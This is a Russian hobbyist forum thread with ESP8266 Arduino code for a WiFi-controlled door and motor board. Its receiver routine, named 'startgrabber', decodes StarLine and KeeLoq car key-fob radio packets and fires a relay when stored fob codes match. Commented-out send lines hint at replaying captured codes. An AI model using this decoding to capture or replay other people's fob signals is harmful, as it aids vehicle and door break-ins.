void starline_vardump(){
  if(decodeMethod == 0){
    Serial.println(" - starline origin - ");
  }
  else{
    Serial.println(" - starline invert - ");
  }

 
  Serial.print(starline_code[0], HEX);
  Serial.print(starline_code[1], HEX);
  Serial.print(starline_code[2], HEX);
  Serial.print(starline_code[3], HEX);
  Serial.println("-hop");
  Serial.print(starline_code[4], HEX);
  Serial.print(starline_code[5], HEX);
  Serial.print(starline_code[6], HEX);
  Serial.println("-fix");
  Serial.print(starline_code[7], HEX);
  Serial.println("-btn");
  Serial.print(starline_code[8], HEX);
  Serial.println("-dop");


fug =starline_code[0];



fug1=starline_code[1];
fug2=starline_code[2];


fug4 =starline_code[4];



fug41=starline_code[5];
fug42=starline_code[6];

Serial.println(fug);
Serial.println(fug1);
Serial.println(fug2);

Serial.println("CHZN");

Serial.println(fug4);
Serial.println("-");
Serial.println(fug41);
Serial.println("-");
Serial.println(fug42);
Serial.println("-");






 


 
 
 








 
if(fug==3&&fug1==3&&fug2==3){

  Serial.println(" rabotaet ");



/////////////////////////////////////////////////timer///////////chobi ne otorvalo tebe zhopu uniy chkolo-ganster)))/////////33 minuti/////////////////////////////////


  digitalWrite(fugabum, HIGH);
  delay (5000);
 

 
  digitalWrite(fugabum, LOW);



 
}


if(fug4==190&&fug41==150&&fug42==58){

  Serial.println(" rabotaet ");



/////////////////////////////////////////////////timer///////////chobi ne otorvalo tebe zhopu uniy chkolo-ganster)))/////////33 minuti/////////////////////////////////


  digitalWrite(fugabum, HIGH);
  delay (5000);
 

 
  digitalWrite(fugabum, LOW);



 
}


if(fug4==139&&fug41==154&&fug42==218){

  Serial.println(" rabotaet ");



/////////////////////////////////////////////////timer///////////chobi ne otorvalo tebe zhopu uniy chkolo-ganster)))/////////33 minuti/////////////////////////////////


  digitalWrite(fugabum, HIGH);
  delay (5000);
 

 
  digitalWrite(fugabum, LOW);



 
}


if(fug==2&&fug1==2&&fug2==2){

  Serial.println(" nerabotaet ");

  digitalWrite(fugabum, LOW);

 



 
}
 



   
}
     
     
 
 







//keeloq////////////////////////////////////////////////KEEEEEEEEEEEEEEELOOOOQ//////////////////////////////////////////////////////////////////////////
void keelog_vardump(){
  if(decodeMethod == 0){
    Serial.println(" - keelog origin - ");
  }
  else{
    Serial.println(" - keelog invert - ");
  }
  Serial.print(keelog_code[0], HEX);
  Serial.print(keelog_code[1], HEX);
  Serial.print(keelog_code[2], HEX);
  Serial.print(keelog_code[3], HEX);
  Serial.println("-hop");
  Serial.print(keelog_code[4], HEX);
  Serial.print(keelog_code[5], HEX);
  Serial.print(keelog_code[6], HEX);
  Serial.println("-fix");
  Serial.print(keelog_code[7], HEX);
  Serial.println("-btn");
  Serial.print(keelog_code[8], HEX);
  Serial.println("-dop");


 

  smena = 10;
 
//Serial.println("-smena");
// Serial.println(smena);



fug3 =keelog_code[4];



fug31=keelog_code[5];
fug32=keelog_code[6];

Serial.println(fug);
Serial.println(fug1);
Serial.println(fug2);

Serial.println("CHZN");
 Serial.print(keelog_code[4] );
  Serial.println("-");
  Serial.print(keelog_code[5]);
    Serial.println("-");
  Serial.print(keelog_code[6]);
    Serial.println("-");





 


 
 
 








 
if(fug3==26&&fug31==178&&fug32==200){

  Serial.println(" rabotaet ");



/////////////////////////////////////////////////timer///////////chobi ne otorvalo tebe zhopu uniy chkolo-ganster)))/////////33 minuti/////////////////////////////////


  digitalWrite(fugabum, HIGH);
  delay (5000);
 

 
  digitalWrite(fugabum, LOW);



 
}   




     
 
  //eprom
 //  EEPROM.begin(598);


 
 
 
 


 
//    for(int z = 0; z<9; z++){
         
//       hugazi[z] =EEPROM.read(z);
   
//     display.print(hugazi[z],HEX);
//      delay(3);
     
//      display.display();}}



       
 
 

//srav fixEEPROM.begin(512);






//pak2

// for(int li = 10; li<19; li++){
       

//    int i=0;
   
//    keelog_codePAK2[i]=EEPROM.read(li);
   
//     Serial.print(keelog_codePAK2[i],HEX);
//      delay(100);
 //     i++;

       
 //    Serial.print(keelog_codePAK2[i],HEX);
     
       
 // }



// for(int i = 0; i<9; i++){
 
       
    // Serial.println(keelog_codePAK2[i],HEX);
    //  delay(3);  }

 // int huga =EEPROM.read(0);
//    int huga1 =EEPROM.read(1);
 //    int huga2 =EEPROM.read(2);
 //     int huga3 =EEPROM.read(3);
  //       int huga4 =EEPROM.read(4);
  //          int huga5 =EEPROM.read(5);
   //            int huga6 =EEPROM.read(6);
               
  //                int huga7 =EEPROM.read(7);
 //                    int huga8 =EEPROM.read(8);
 

//  display.setTextColor(WHITE); 
//  display.setTextSize(1);   
//    display.print(huga,HEX);
//     display.print(huga1,HEX);
//     display.print(huga2,HEX);
 //    display.print(huga3,HEX);
//      display.print(huga4,HEX);
//       display.print(huga5,HEX);
//        display.print(huga6,HEX);
//         display.print(huga1,HEX);
//         display.print(huga7,HEX);
//          display.print(huga8,HEX);
//    delay(100);
//    display.display();
   
    //Serial.println(EEPROM.read(0),HEX); // выводим значение в послед. порт
 

 
  //
  /*for(int i = 0; i<9; i++){
    Serial.print(keelog_code[i], HEX);
    Serial.print(" - ");
  }*/
//  keelog_send(keelog_code);
 
 // digitalWrite(TX, HIGH);
 // delay(100);
//  digitalWrite(TX, LOW);
//   keelog_sendPAK2(keelog_codePAK2);
//  keelog_state = 0;
// for(int i = 0; i<9; i++){
//    keelog_code[i]=0;
//  }
}







//pak2









void keelog_get(){
    bValidPacket = false;
    if(keelog_state==0){//ждем преамбулу и хедер
      if(difTime > 280 && difTime < 620 && lastRxValue != tempRxValue){
        keelogCounter ++;
      }
      else{
        if(keelogCounter==23){
          if(difTime>2800 && difTime<6200 && lastRxValue == 0){
            keelog_state=1;
          }
        }
       keelogCounter = 0;
      }
    }
    else if(keelog_state==1){// получаем биты
      if(difTime > 560 && difTime < 1240 && lastRxValue == 1){// получили 1
        if(decodeMethod==0){
          keelog_code[round(keelogCounter/8)] = (keelog_code[round(keelogCounter/8)]>>1)|B10000000;
        }
        else{
          keelog_code[round(keelogCounter/8)] = (keelog_code[round(keelogCounter/8)]<<1)|B00000000;
        }
        bValidPacket = true;
      }
      else if(difTime > 280 && difTime < 620 && lastRxValue == 1){
        if(decodeMethod==0){
          keelog_code[round(keelogCounter/8)] = (keelog_code[round(keelogCounter/8)]>>1)|B00000000;
        }
        else{
          keelog_code[round(keelogCounter/8)] = (keelog_code[round(keelogCounter/8)]<<1)|B00000001;
        }
        bValidPacket = true;
      }
      else if(lastRxValue == 0){
      }
      else{
        keelog_state=1;
        keelogCounter = 0;
      }
     
      if(bValidPacket){
        keelogCounter++;
        if(keelogCounter==66){
          keelog_vardump();
          keelogCounter = 0;
          keelog_state = 0;
       
       
        }
      }
    }
}
//keelog end



///uuuaaaaaaaa che ya nadelal)))))))) IIIIIIzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzSTAAAAAAAAAAAAAAAAARRRRRRRRRRzzzzzzz







 



























Вложения
DWERNEW37_urez200918_DORNAME_fixStar.rar
Можно задать код своего авто брелка
(277.29 KiB) Загружено 298 раз
DWERNEW37_urez200918_DORNAME_ur.rar
возможность задать радио код и имя двери
(276.78 KiB) Загружено 267 раз
DWERNEW37_urez160918_DORNAME.rar
(276.73 KiB) Загружено 284 раз
DWERNEW37_urez160918_NBG.rar
файлы исходника
(276.29 KiB) Загружено 288 раз

Аватар пользователя
admin
Администратор
Сообщений: 341
Зарегистрирован: 10 июн 2017, 16:49
Откуда: Rakun City @GanstaParadise-Telegram
Контактная информация:

Re: 8266 WEMOS

Сообщение admin » 05 окт 2017, 04:53

то на чем пока остановился


Код: Выбрать все




#include <ESP8266WiFi.h>
#include <ESP8266WebServer.h>

ESP8266WebServer server(80);
const char* ssid="DWER37"; //название точки доступа
const char* password="123412345"; // пароль не будем писать
//const char* ssid="HomeIoT"; // здесь пишем название домашней точки доступа
//const char* password="DDV987654321"; // и пароль

String webSite,javaScript,XML;
unsigned long wait000=0UL,wait001=1000UL;
int OUT1=D3, OUT2=D4, BAT=D5;//Назначение выводов
int Sila, SilaLow = -43;   // Контроль силы сигнала WiFi
int Batareya, BatLow = 400; //Контроль напряжения батареи
float Povorot = 0.8, Trimer;    // Переменные для значений поворота и тримера двигателя
String Bat, SilaW;
const int sliderMAX=3;     // This sets the number of sliders you want
int sliderVal[3]={0, 0, 0};  //Начальные значения 1 слайдера - скорость, 2-го - поворот, 3- тример
int ESPval[sliderMAX];

/////////////////////radio/////////////////////////////////////////////////////////////////////////////////////////////////

int fug;

int fug1;
int fug2;


int fug22;


int fug4;

int fug41;
int fug42;


int fug422;






int fug3;

int fug31;
int fug32;


int fug322;

/////////////////////////////////////////////////////parol
int kiop3 = 0;
int pam = 50;
int passwordkg[6] ={8,3,2,1,9,0};

int parolking = 0;
int parolvvod[6] = {0,0,0,0,0,0};
int i1p = 0;
int yach = 0;

int send_codekg = 0;
int send_codezoy = 0;

int send_code = 1;

int yacheyka = 0;
///////////////////////////////////////////////////////////////////////



 int starres = 0;

int pakiweb = 0;
int bitnumber = 0;
int shirt = 0;

//wifii&server end/////////////////////////////////////

//menu

boolean backlight = true;
int contrast=50;
int kiop=0;
int menuitem = 1;
int page = 1;

int pagero = 0;

int smena = 1;//smena sig

volatile boolean up = false;
volatile boolean down = false;
volatile boolean middle = false;

int downButtonState = 0;
int upButtonState = 0; 
int selectButtonState = 0;         
int lastDownButtonState = 0;
int lastSelectButtonState = 0;
int lastUpButtonState = 0;





//menu end



#define rxPin D7  //d7
#define TX 6 //d6

#define fugabum D6 //d6
#define diod 2 //d6



#define tonePin 14 //d5
int ing = 0;
int starlineCounter = 0;
int starlinePreambula = 0;
static long StarLineCode1 = 0; // first part
static long StarLineCode2 = 0; // last part
static long invertStarLineCode1 = 0; // first part
static long invertStarLineCode2 = 0; // last part
String code = "";
boolean bValidPacket=false;
int decodeMethod = 1;
int lastRxValue = 0;
int tempRxValue = 0;
unsigned long lastRxTime = 0;
unsigned long tempTime = 0;
 
//keeloq
int keeloqHeader=0;

int keeloqCounter = 0;

int starlineZCounter = 0;

int starlineZpreambulaCounter = 0;
int keeloqPreambula = 0;

int stralineHeader=0;


static long keeloqCode1 = 0; // first part
static long keeloqCode2 = 0; // last part
static long invertkeeloqCode1 = 0; // first part
static long invertkeeloqCode2 = 0; // last part
String keecode = "";


boolean keebValidPacket=false;

int keelastRxValue = 0;
int keetempRxValue = 0;
unsigned long keelastRxTime = 0;
unsigned long keetempTime = 0;

//пробуем выброс
//keelog start
unsigned long difTime = 0;
unsigned long difTime2 = 0;
int keelog_state = 0;
int keelogCounter = 0;
byte keelog_code[9];
byte keelog_codePAK2[9];
byte keelog_codePAK1[9];
byte hugaz[9];
byte hugazk[9];
byte hugazi[9];
byte starline_code[9];
byte starline_codePAK2[9];
byte starline_codePAK1[9];



byte webpak2[9];
byte webpak1[9];



int starline_state = 0;
byte kefang[9];


byte starline_codePAK2zapis[9];
byte starline_codePAK1zapis[9];

byte starline_codePAK2zapisSBTR[9];
byte starline_codePAK1zapisSBTR[9];


byte keelog_codePAK2zapis[9];
byte keelog_codePAK1zapis[9];


byte keelog_codePAK2zapisSBTR[9];
byte keelog_codePAK1zapisSBTR[9];

byte hugazS[9];
byte hugaziS[9];

byte hugazK[9];
byte hugaziK[9];



/////////////////////////////////////////////////VVODNIE

byte VVOD1[9];
byte VVOD2[9];

String readString;
// --------------------
byte CODE[8];
int x=0;

int k=0;//schet keeloq 
int kk  =0; //shet star line

int starkk = 0;






void Batare(){
  Batareya = analogRead(BAT);         // Меряем напряжение батареи
  if (Batareya < BatLow){            // Если напряжение батареи меньше порогового значения
    Bat = "          Батарея села, ПОРА на ЗАРЯДКУ"; // Пишем предупреждение
  }
  else{                              // Если норма
    Bat = "";                       // Ничего не пишем
  }
}
void SilaWifi(){
  Sila = WiFi.RSSI();  // Меряем силу сигнала WiFi
  if (Sila < SilaLow){
    SilaW = "          Сигнал слабый, РАЗВОРАЧИВАЙ";
  }
  else{
    SilaW = "";
  }
}

void buildJavascript(){
  javaScript="<SCRIPT>\n";
  javaScript+="xmlHttp=createXmlHttpObject();\n";
 
  javaScript+="function createXmlHttpObject(){\n";
  javaScript+="  if(window.XMLHttpRequest){\n";
  javaScript+="    xmlHttp=new XMLHttpRequest();\n";
  javaScript+="  }else{\n";
  javaScript+="    xmlHttp=new ActiveXObject('Microsoft.XMLHTTP');\n";
  javaScript+="  }\n";
  javaScript+="  return xmlHttp;\n";
  javaScript+="}\n";
 
  javaScript+="function process(){\n";
  javaScript+="  if(xmlHttp.readyState==0||xmlHttp.readyState==4){\n";
  javaScript+="    xmlHttp.onreadystatechange=function(){\n";
  javaScript+="      if(xmlHttp.readyState==4&&xmlHttp.status==200){\n";
  javaScript+="        xmlDoc=xmlHttp.responseXML;\n";
  javaScript+="        xmlmsg=xmlDoc.getElementsByTagName('millistime')[0].firstChild.nodeValue;\n";
  javaScript+="        document.getElementById('runtime').innerHTML=xmlmsg;\n";               // Добавляем наши данные
  javaScript+="        xmlmsg=xmlDoc.getElementsByTagName('Sila')[0].firstChild.nodeValue;\n";// Сила сигнала WiFi
  javaScript+="        document.getElementById('Sila').innerHTML=xmlmsg;\n";                  // Сила сигнала WiFi
  javaScript+="        xmlmsg=xmlDoc.getElementsByTagName('Batareya')[0].firstChild.nodeValue;\n";// Напряжение батареи
  javaScript+="        document.getElementById('Batareya').innerHTML=xmlmsg;\n";                  // Напряжение батареи
  javaScript+="        for(i=0;i<"+(String)sliderMAX+";i++){\n";
  javaScript+="          xmlmsg=xmlDoc.getElementsByTagName('sliderval'+i)[0].firstChild.nodeValue;\n";
  javaScript+="          document.getElementById('slider'+i).value=xmlmsg;\n";
  javaScript+="          document.getElementById('Sliderval'+i).innerHTML=xmlmsg;\n";
  javaScript+="          xmlmsg=xmlDoc.getElementsByTagName('ESPval'+i)[0].firstChild.nodeValue;\n";
  javaScript+="          document.getElementById('ESPval'+i).innerHTML=xmlmsg;\n";
  javaScript+="        }\n";
  javaScript+="      }\n";
  javaScript+="    }\n";
  javaScript+="    xmlHttp.open('PUT','xml',true);\n";
  javaScript+="    xmlHttp.send(null);\n";
  javaScript+="  }\n";
  javaScript+="  setTimeout('process()',1000);\n";
  javaScript+="}\n";
 
  javaScript+="function Slider(cnt){\n";
  javaScript+="  sliderVal=document.getElementById('slider'+cnt).value;\n";
  javaScript+="  document.getElementById('Sliderval'+cnt).innerHTML=sliderVal;\n";
  javaScript+="  document.getElementById('ESPval'+cnt).innerHTML=9*(100-sliderVal)+100;\n";
  javaScript+="  if(xmlHttp.readyState==0||xmlHttp.readyState==4){\n";
  javaScript+="    xmlHttp.open('PUT','setESPval?cnt='+cnt+'&val='+sliderVal,true);\n";
  javaScript+="    xmlHttp.send(null);\n";
  javaScript+="  }\n";
  javaScript+="}\n";
 
  javaScript+="</SCRIPT>\n";
}
void buildWebsite(){    // Создаём страницу с элементами управления
  buildJavascript();
  webSite="<!DOCTYPE HTML>\n";
  webSite+="<META name='viewport' content='width=device-width, initial-scale=1', charset=\"utf-8\">\n";
  webSite+=javaScript;
  webSite+="<BODY onload='process()'>\n";
  webSite+="Дверь Входная\n";
  webSite+="Время работы = <A ID='runtime'></A>\n";
  webSite+="Сила сигнала <A ID='Sila'></A>\n";              // Сила сигнала WiFi
  webSite+="Напряжение батареи <A ID='Batareya'></A>\n"; // Напряжение батареи
  webSite+="<TABLE BORDER=1 width='700' height='200' style='text-align:center;border-collapse:collapse'>\n";
  //  webSite+="<INPUT ' TYPE='range' width='600'> \n";  // это пример слайдера
  webSite+="<TR>\n";        // 1 слайдер
  webSite+="<TD><INPUT ID='slider"+(String)0+"' TYPE='range' ONCHANGE='Slider("+(String)0+")'></TD>\n";
  webSite+="<TD>Обороты = <A ID='Sliderval"+(String)0+"'></A>\n";
  webSite+="Моторов = <A ID='ESPval"+(String)0+"'></A> * </TD>\n";
  webSite+="</TR>\n";

  webSite+="<TR>\n";        // 2 слайдер
  webSite+="<TD><INPUT ID='slider"+(String)1+"' TYPE='range' ONCHANGE='Slider("+(String)1+")'></TD>\n";
  webSite+="<TD>Дверь  = <A ID='Sliderval"+(String)1+"'></A>\n";
  webSite+="Дергай = <A ID='ESPval"+(String)1+"'></A></TD>\n";
  webSite+="</TR>\n";
 
  webSite+="<TR>\n";        // 3 слайдер
  webSite+="<TD><INPUT ID='slider"+(String)2+"' TYPE='range' ONCHANGE='Slider("+(String)2+")'></TD>\n";
  webSite+="<TD>Корекция = <A ID='Sliderval"+(String)2+"'></A>\n";
  webSite+="Моторов = <A ID='ESPval"+(String)2+"'></A></TD>\n";
  webSite+="</TR>\n";

  webSite+="</TABLE>\n";
  webSite+="</BODY>\n";
  webSite+="</HTML>\n";
}

String millis2time(){ // преобразование милисекунд в вид ч/м/с
  String Time="";
  unsigned long ss;
  byte mm,hh;
  ss=millis()/1000;
  hh=ss/3600;
  mm=(ss-hh*3600)/60;
  ss=(ss-hh*3600)-mm*60;
  if(hh<10)Time+="0";
  Time+=(String)hh+":";
  if(mm<10)Time+="0";
  Time+=(String)mm+":";
  if(ss<10)Time+="0";
  Time+=(String)ss;
  return Time;
}

void buildXML(){
  XML="<?xml version='1.0'?>";
  XML+="<xml>";
  XML+="<millistime>";
  XML+=millis2time();
  XML+="</millistime>";   // Добавляем наши данные
  SilaWifi();             // Здесь измеряем силу сигнала
  XML+="<Sila>";          // Сила сигнала WiFi
  XML+=String(Sila)+SilaW;// Сила сигнала WiFi
  XML+="</Sila>";         // Сила сигнала WiFi
  Batare();                 // Здесь измеряем напряжение батареи
  XML+="<Batareya>";        // Напряжение батареи
  XML+=String(Batareya)+Bat;// Напряжение батареи
  XML+="</Batareya>";       // Напряжение батареи
  for(int i=0;i<sliderMAX;i++){
    XML+="<sliderval"+(String)i+">";
    XML+=String(sliderVal[i]);
    XML+="</sliderval"+(String)i+">";
    XML+="<ESPval"+(String)i+">";
    ESPval[i]=9*(100-sliderVal[i])+100;
    XML+=String(ESPval[i]);
    XML+="</ESPval"+(String)i+">";
  }
  XML+="</xml>";
}

void handleWebsite(){
  buildWebsite();
  server.send(200,"text/html",webSite);
}

void handleXML(){
  buildXML();
  server.send(200,"text/xml",XML);
}

void handleESPval(){
  int sliderCNT=server.arg("cnt").toInt();
  sliderVal[sliderCNT]=server.arg("val").toInt();
  buildXML();
  server.send(200,"text/xml",XML);
}

void setup() {
  Serial.begin(115200);
  pinMode(D6, OUTPUT);
  pinMode(OUT1,OUTPUT);
  pinMode(OUT2,OUTPUT);
  pinMode(BAT,INPUT);
   digitalWrite(D6, LOW);

    digitalWrite(fugabum, LOW);
    digitalWrite(diod, LOW);


      lastRxValue = digitalRead(rxPin);
lastRxTime = micros();

//kee
  keelastRxValue = digitalRead(rxPin);
keelastRxTime = micros();
  delay(1000);

  WiFi.softAP(ssid, password); // Создаём точку доступа
//  WiFi.begin(ssid,password);  //Это вариант для подключения к существующей точке
//  while(WiFi.status()!=WL_CONNECTED)delay(500);
//  WiFi.mode(WIFI_STA);
 
  Serial.println("\n\nBOOTING ESP8266 ...");
  Serial.print("Connected to ");
  Serial.println(ssid);
  Serial.print("Station IP address: ");
  Serial.println(WiFi.localIP());     // Вывод в монитор порта присвоенный IP
  server.on("/",handleWebsite);
  server.on("/xml",handleXML);
  server.on("/setESPval",handleESPval);
  server.begin();
}

void loop() {
  server.handleClient();
  startgrabber();
  if(millis()>wait000){
    buildXML();
    wait000=millis()+1000UL;
  }
  if(millis()>wait001){
    wait001=millis()+300;           //Обновляем значения раз в 300 милисекунд
    Trimer = (ESPval[2]*.0015);
    Serial.print("   Skorost] ");
    Serial.print(ESPval[0]);
    Serial.print("   Povorot ");
    Serial.print(ESPval[1]);
    Serial.print("   Trimer ");   
    Serial.print(ESPval[2]);
    Serial.print(Trimer);

   if (ESPval[0] > 200){               // Если слайдер скорости  > 200
        if ( ESPval[1] > 600) {        //  Если слайдер поворота > 600 то поворачиваем на лево
            analogWrite(OUT1, ESPval[0]);
            analogWrite(OUT2, int(ESPval[0] * Povorot*Trimer));
            digitalWrite(D6, LOW);
            Serial.print(" Le  ");
            Serial.print(ESPval[0] * Povorot*Trimer);
           }
       else if (400 > ESPval[1] ){     //  Если слайдер поворота < 400 то поворачиваем на право
           analogWrite(OUT1, int(ESPval[0] * Povorot));
           analogWrite(OUT2, int(ESPval[0]*Trimer));
             digitalWrite(D6, HIGH); 
           Serial.print("   Pr ");
           Serial.print(int(ESPval[0] * Povorot));
           }
       else {                          //  Если слайдер поворота > 400 и < 600то едем прямо
           analogWrite(OUT1, ESPval[0]);
           analogWrite(OUT2, int(ESPval[0]*Trimer));
           Serial.print("   OK ");
           }
      }
   else {                          //  Если слайдер скорости  < 200 - выключить моторы
       analogWrite(OUT1, 0);
       analogWrite(OUT2, 0);
       Serial.print("   Stop ");
       }   
    Serial.print("   Batareya ");
    Serial.println(Batareya);
 }
}




















////////////////////radio

void startgrabber(){






tempRxValue = digitalRead(rxPin);

if(tempRxValue != lastRxValue){
tempTime = micros();
difTime = tempTime - lastRxTime;
difTime2 = tempTime - lastRxTime;

starline_get();
keelog_get();
//grab(tempTime - lastRxTime, lastRxValue);

lastRxTime = tempTime;
lastRxValue = tempRxValue;


 
}
}
 



void starline_get(){
    bValidPacket = false;
    if(starline_state==0){//ждем преамбулу и хедер
      if(difTime2 > 900 && difTime2 < 1100 && lastRxValue ==1 ){
        starlineZpreambulaCounter ++;
       
      }
   

      if(starlineZpreambulaCounter==6){
         
            starline_state=1;         
        }

       //  else{       
     //  starlineZCounter = 0;
     // }
 
    }

    /////////////////////////////////////////////////////PREAMBULA STARA///////////////////////////////////////////////////////////////////////////
    else if(starline_state==1){// получаем биты
      if(difTime2 > 350 && difTime2 < 650 && lastRxValue == 1){// получили 1
        if(decodeMethod==0){
          starline_code[round(starlineZCounter/8)] = (starline_code[round(starlineZCounter/8)]>>1)|B10000000;
        }
        else{
          starline_code[round(starlineZCounter/8)] = (starline_code[round(starlineZCounter/8)]<<1)|B00000000;
        }
        bValidPacket = true;
      }
      else if(difTime2 > 150 && difTime2 < 350 && lastRxValue == 1){
        if(decodeMethod==0){
          starline_code[round(starlineZCounter/8)] = (starline_code[round(starlineZCounter/8)]>>1)|B00000000;
        }
        else{
          starline_code[round(starlineZCounter/8)] = (starline_code[round(starlineZCounter/8)]<<1)|B00000001;
        }
        bValidPacket = true;
      }
      else if(lastRxValue == 0){
      }
      else{
        starline_state=1;
        starlineZCounter = 0;
      }
     
      if(bValidPacket){
        starlineZCounter++;
        if(starlineZCounter==64){           //64ili66
          starline_vardump();
          starlineZCounter = 0;
          starline_state = 0;
          starlineZpreambulaCounter = 0; /////////novshetch
          starkk++;                   /////////shetchik
 




       
        }
      }
    }
}









































 
 




















///uuuaaaaaaaa che ya nadelal)))))))) IIIIIIzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzSTAAAAAAAAAAAAAAAAARRRRRRRRRRzzzzzzz


//statline pomba
void starline_vardump(){
  if(decodeMethod == 0){
    Serial.println(" - starline origin - ");
  }
  else{
    Serial.println(" - starline invert - ");
  }

 
  Serial.print(starline_code[0], HEX);
  Serial.print(starline_code[1], HEX);
  Serial.print(starline_code[2], HEX);
  Serial.print(starline_code[3], HEX);
  Serial.println("-hop");
  Serial.print(starline_code[4], HEX);
  Serial.print(starline_code[5], HEX);
  Serial.print(starline_code[6], HEX);
  Serial.println("-fix");
  Serial.print(starline_code[7], HEX);
  Serial.println("-btn");
  Serial.print(starline_code[8], HEX);
  Serial.println("-dop");


fug =starline_code[0];



fug1=starline_code[1];
fug2=starline_code[2];


fug4 =starline_code[4];



fug41=starline_code[5];
fug42=starline_code[6];

Serial.println(fug);
Serial.println(fug1);
Serial.println(fug2);

Serial.println("CHZN");

Serial.println(fug4);
Serial.println("-");
Serial.println(fug41);
Serial.println("-");
Serial.println(fug42);
Serial.println("-");






 


 
 
 








 
if(fug==3&&fug1==3&&fug2==3){

  Serial.println(" rabotaet ");



/////////////////////////////////////////////////timer///////////chobi ne otorvalo tebe zhopu uniy chkolo-ganster)))/////////33 minuti/////////////////////////////////


  digitalWrite(fugabum, HIGH);
  delay (5000);
 

 
  digitalWrite(fugabum, LOW);



 
}


if(fug4==190&&fug41==150&&fug42==58){

  Serial.println(" rabotaet ");



/////////////////////////////////////////////////timer///////////chobi ne otorvalo tebe zhopu uniy chkolo-ganster)))/////////33 minuti/////////////////////////////////


  digitalWrite(fugabum, HIGH);
  delay (5000);
 

 
  digitalWrite(fugabum, LOW);



 
}


if(fug4==139&&fug41==154&&fug42==218){

  Serial.println(" rabotaet ");



/////////////////////////////////////////////////timer///////////chobi ne otorvalo tebe zhopu uniy chkolo-ganster)))/////////33 minuti/////////////////////////////////


  digitalWrite(fugabum, HIGH);
  delay (5000);
 

 
  digitalWrite(fugabum, LOW);



 
}


if(fug==2&&fug1==2&&fug2==2){

  Serial.println(" nerabotaet ");

  digitalWrite(fugabum, LOW);

 



 
}
 



   
}
     
     
 
 







//keeloq////////////////////////////////////////////////KEEEEEEEEEEEEEEELOOOOQ//////////////////////////////////////////////////////////////////////////
void keelog_vardump(){
  if(decodeMethod == 0){
    Serial.println(" - keelog origin - ");
  }
  else{
    Serial.println(" - keelog invert - ");
  }
  Serial.print(keelog_code[0], HEX);
  Serial.print(keelog_code[1], HEX);
  Serial.print(keelog_code[2], HEX);
  Serial.print(keelog_code[3], HEX);
  Serial.println("-hop");
  Serial.print(keelog_code[4], HEX);
  Serial.print(keelog_code[5], HEX);
  Serial.print(keelog_code[6], HEX);
  Serial.println("-fix");
  Serial.print(keelog_code[7], HEX);
  Serial.println("-btn");
  Serial.print(keelog_code[8], HEX);
  Serial.println("-dop");


 

  smena = 10;
 
//Serial.println("-smena");
// Serial.println(smena);



fug3 =keelog_code[4];



fug31=keelog_code[5];
fug32=keelog_code[6];

Serial.println(fug);
Serial.println(fug1);
Serial.println(fug2);

Serial.println("CHZN");
 Serial.print(keelog_code[4] );
  Serial.println("-");
  Serial.print(keelog_code[5]);
    Serial.println("-");
  Serial.print(keelog_code[6]);
    Serial.println("-");





 


 
 
 








 
if(fug3==26&&fug31==178&&fug32==200){

  Serial.println(" rabotaet ");



/////////////////////////////////////////////////timer///////////chobi ne otorvalo tebe zhopu uniy chkolo-ganster)))/////////33 minuti/////////////////////////////////


  digitalWrite(fugabum, HIGH);
  delay (5000);
 

 
  digitalWrite(fugabum, LOW);



 
}   




     
 
  //eprom
 //  EEPROM.begin(598);


 
 
 
 


 
//    for(int z = 0; z<9; z++){
         
//       hugazi[z] =EEPROM.read(z);
   
//     display.print(hugazi[z],HEX);
//      delay(3);
     
//      display.display();}}



       
 
 

//srav fixEEPROM.begin(512);






//pak2

// for(int li = 10; li<19; li++){
       

//    int i=0;
   
//    keelog_codePAK2[i]=EEPROM.read(li);
   
//     Serial.print(keelog_codePAK2[i],HEX);
//      delay(100);
 //     i++;

       
 //    Serial.print(keelog_codePAK2[i],HEX);
     
       
 // }



// for(int i = 0; i<9; i++){
 
       
    // Serial.println(keelog_codePAK2[i],HEX);
    //  delay(3);  }

 // int huga =EEPROM.read(0);
//    int huga1 =EEPROM.read(1);
 //    int huga2 =EEPROM.read(2);
 //     int huga3 =EEPROM.read(3);
  //       int huga4 =EEPROM.read(4);
  //          int huga5 =EEPROM.read(5);
   //            int huga6 =EEPROM.read(6);
               
  //                int huga7 =EEPROM.read(7);
 //                    int huga8 =EEPROM.read(8);
 

//  display.setTextColor(WHITE); 
//  display.setTextSize(1);   
//    display.print(huga,HEX);
//     display.print(huga1,HEX);
//     display.print(huga2,HEX);
 //    display.print(huga3,HEX);
//      display.print(huga4,HEX);
//       display.print(huga5,HEX);
//        display.print(huga6,HEX);
//         display.print(huga1,HEX);
//         display.print(huga7,HEX);
//          display.print(huga8,HEX);
//    delay(100);
//    display.display();
   
    //Serial.println(EEPROM.read(0),HEX); // выводим значение в послед. порт
 

 
  //
  /*for(int i = 0; i<9; i++){
    Serial.print(keelog_code[i], HEX);
    Serial.print(" - ");
  }*/
//  keelog_send(keelog_code);
 
 // digitalWrite(TX, HIGH);
 // delay(100);
//  digitalWrite(TX, LOW);
//   keelog_sendPAK2(keelog_codePAK2);
//  keelog_state = 0;
// for(int i = 0; i<9; i++){
//    keelog_code[i]=0;
//  }
}







//pak2









void keelog_get(){
    bValidPacket = false;
    if(keelog_state==0){//ждем преамбулу и хедер
      if(difTime > 280 && difTime < 620 && lastRxValue != tempRxValue){
        keelogCounter ++;
      }
      else{
        if(keelogCounter==23){
          if(difTime>2800 && difTime<6200 && lastRxValue == 0){
            keelog_state=1;
          }
        }
       keelogCounter = 0;
      }
    }
    else if(keelog_state==1){// получаем биты
      if(difTime > 560 && difTime < 1240 && lastRxValue == 1){// получили 1
        if(decodeMethod==0){
          keelog_code[round(keelogCounter/8)] = (keelog_code[round(keelogCounter/8)]>>1)|B10000000;
        }
        else{
          keelog_code[round(keelogCounter/8)] = (keelog_code[round(keelogCounter/8)]<<1)|B00000000;
        }
        bValidPacket = true;
      }
      else if(difTime > 280 && difTime < 620 && lastRxValue == 1){
        if(decodeMethod==0){
          keelog_code[round(keelogCounter/8)] = (keelog_code[round(keelogCounter/8)]>>1)|B00000000;
        }
        else{
          keelog_code[round(keelogCounter/8)] = (keelog_code[round(keelogCounter/8)]<<1)|B00000001;
        }
        bValidPacket = true;
      }
      else if(lastRxValue == 0){
      }
      else{
        keelog_state=1;
        keelogCounter = 0;
      }
     
      if(bValidPacket){
        keelogCounter++;
        if(keelogCounter==66){
          keelog_vardump();
          keelogCounter = 0;
          keelog_state = 0;
       
       
        }
      }
    }
}
//keelog end



